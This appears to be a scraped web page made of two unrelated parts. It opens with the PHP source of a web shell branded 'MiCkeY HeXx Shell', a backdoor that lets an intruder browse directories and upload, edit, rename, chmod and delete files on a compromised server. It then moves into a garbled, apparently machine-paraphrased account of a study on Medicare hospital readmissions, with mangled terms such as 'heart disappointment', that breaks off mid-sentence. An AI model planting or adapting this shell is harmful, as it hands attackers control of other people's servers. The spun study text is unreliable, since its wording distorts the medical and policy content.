$value){ $_POST[$key] = stripslashes($value); } } echo 'MiCkeY HeXx Shell

[!] MiCkeY HeXx SheLL [!]

'; if(isset($_GET['filesrc'])){ echo "
Current Path : '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path);foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '/'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo '
'; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo 'Upload File Success!
'; }else{ echo 'Failed for Upload File!
'; } } echo '
Upload File :
Current File : "; echo $_GET['filesrc']; echo '

'; echo('
'); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '

'; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo 'Change Permission Success~!
'; }else{ echo 'Failed for Change Permission !
'; } } echo '
Permission :
'; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo 'Change Name Success!
'; }else{ echo 'Failed for Change Name !
'; } $_POST['name'] = $_POST['newname']; } echo '
New Name :
'; }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo 'Edit File Success!
'; }else{ echo 'Failed for Edit File!
'; } fclose($fp); } echo '

'; } echo '
'; }else{ echo '
'; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo 'Delete Dir Success!
'; }else{ echo 'Failed for Delete Dir!
'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo 'Delete File Success!
'; }else{ echo 'Failed for Edit File!
'; } } } echo '
'; $scandir = scandir($path); echo '
';foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; }echo ""; } echo '
"; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo perms("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '';echo "
\" />
"; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo perms("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo "
\" />
'; } echo '
Recode by MiCkeY HeXx - NerdSquad Team'; function perms($file){ $perms = fileperms($file);if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; }// Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));// Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));// World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));return $info; } ?>

Readmissions, Observation, and the Hospital Readmissions Reduction Program

Doctor’s facility readmissions inside 30 days after release have drawn national strategy consideration since they are exorbitant, representing more than $17 billion in avoidable Medicare expenditures,1 and are related with poor results. Because of these worries, the Affordable Care Act (ACA), which was passed in March 2010, made the Hospital Readmissions Reduction Program. Since October 2012, the beginning of financial year (FY) 2013, the program has punished healing centers with higher-than-anticipated 30-day readmission rates for chose clinical conditions. In FY 2013 and 2014, these conditions were intense myocardial localized necrosis, heart disappointment, and pneumonia. Add up to hip or knee substitution and incessant obstructive aspiratory illness (COPD) were included FY 2015. The program punishes healing centers that have readmission rates that are higher than would be normal based on readmission execution more than 3 earlier years. For instance, FY 2015 punishments depend on readmissions from July 2010 through June 2013. At first, in FY 2013, the most extreme punishment was 1% of a healing center’s Medicare base determination related-gathering (DRG) installments, however the punishment has been expanded to 3% for FY 2015 and the years past.

Regardless of the significance of readmissions, there has been little investigation of the impact of the program. Distributed epidemiologic information recommend that general national rates of readmission diminished through 2012.2,3 There is additionally confirm that stays in perception units have expanded amid this same period.4,5 Critics of the Hospital Readmissions Reduction Program have stressed that clinics may accomplish diminishments in readmissions by continuing returning patients in perception units as opposed to formally readmitting them to the hospital.6,7 In this article, we address four speculations: that adjustments in rates of readmission because of the ACA were more noteworthy for focused conditions than for nontargeted conditions, that the diminishing pattern in readmission rates persevered after the underlying usage of the program, that the patterns being used of perception units did not change after reception of the ACA, and that healing centers that had a more prominent increment in perception unit stays did not have a more noteworthy decrease in readmission rates.



We utilized Medicare Part An and Part B claims for charge for-benefit recipients 65 years old or more seasoned who were enlisted for 1 year before they had a file hospitalization in an intense care doctor’s facility amid the period from October 2007 through May 2015. We recognized list stays utilizing the incorporation and avoidance criteria for the clinic wide readmission measure of the Centers for Medicare and Medicaid Services (CMS).8 We at that point distinguished record remains for the three conditions focused by the Hospital Readmissions Reduction Program (intense myocardial localized necrosis, heart disappointment, and pneumonia), utilizing the program’s consideration and prohibition criteria.9 Admissions for add up to hip or knee swap and for COPD were barred from the investigation test, since these conditions were added to the program simply after the initial 2 years of usage. Every single residual affirmation as determined by CMS criteria were thought to be confirmations for nontargeted conditions.

We distinguished readmissions inside 30 days after release, utilizing the meaning of readmission that is utilized for the healing facility wide readmission measure of the CMS.8 We additionally inspected whether patients utilized perception benefits inside 30 days after release. At long last, we took a gander at the joined result of any arrival to the doctor’s facility inside 30 days after release (either readmission or perception). Readmission and perception benefit rates were hazard balanced with the utilization of covariates from the CMS healing center wide readmission measure (age, 31 existing together restorative conditions, and main release diagnosis).8 The hazard balanced rates were figured for every clinic and for every month, for both focused on and nontargeted conditions. We barred 437 doctor’s facilities that did not have confirmations for focused conditions both when the section of the ACA. Extra subtle elements are given in the Supplementary Appendix, accessible with the full content of this article at NEJM.org.


Table 1.

Yearly Index Admissions According to Hospital and Patient Characteristics.

We initially inspected patient and healing facility qualities of file hospitalizations for focused and nontargeted conditions for the main year (October 2007 through September 2008) and the most recent year (June 2014 through May 2015) of the examination time frame (Table 1). In these clear insights, the record hospitalization was the unit of investigation, and patients could have more than one file hospitalization.

We at that point broke down the patterns in readmissions and perception unit remains from FY 2008 through May 2015. We construct these essential investigations with respect to interfered with time-arrangement models, which we actualized utilizing summed up assessing conditions, to analyze the straight patterns in month to month, healing center level, chance balanced readmission and perception benefit rates. In the fundamental examination, we investigated the adjustment in incline between eras, for three separate periods: pre-ACA (October 2007 through March 2010), usage of the Hospital Readmissions Reduction Program (April 2010 through September 2012), and long haul follow-up after punishments were started (October 2012 through May 2015). We likewise tried an affectability display that incorporated an extra half year start period after appropriation of the ACA (April 2010 through September 2010), since clinics may have set aside some opportunity to actualize strategies to decrease readmissions after the law was passed.

The straight summed up assessing condition models utilized the month to month, doctor’s facility based, chance balanced readmission rate as the result and incorporated an autonomous working relationship lattice and vigorous experimental standard mistakes to represent inside doctor’s facility connection after some time. We displayed the distinctions in time inclines between readmissions for focused conditions and those for nontargeted conditions, in the wake of modifying for occasional variety and in the wake of weighting by the month to month number of list remains in the healing facility. We assessed changes in readmission rates after some time utilizing a direct term for time and also straight splines at each adjustment in day and age (April 2010 and October 2012 in the essential model). The model permitted the occasional impacts and time patterns to vary amongst focused and nontargeted conditions by incorporating collaboration terms with sort of condition (directed or nontargeted) and isolate introductory captures for focused and nontargeted conditions. We utilized four speculation tests amid each day and age: to begin with, were there critical patterns in readmission rates amid the day and age? Second, did the pattern contrast amongst focused and nontargeted conditions (the communication amongst time and focused on or nontargeted conditions) amid the day and age? Third, inside focused or nontargeted conditions, did the pattern amid the present day and age vary from the pattern amid the past day and age (in light of a measurably noteworthy spline term)? Fourth, did the extent of the adjustment in incline between the present and past era contrast amongst focused and nontargeted conditions (the communication between the adjustment in slant and focused on or nontargeted conditions)? Noteworthiness depended on 95% certainty interims. We utilized comparable models and tests for alternate results inside 30 days after release: utilization of perception benefit and any arrival to the clinic (either readmission or perception).

We at that point assessed inside doctor’s facility changes in the utilization of perception benefits an

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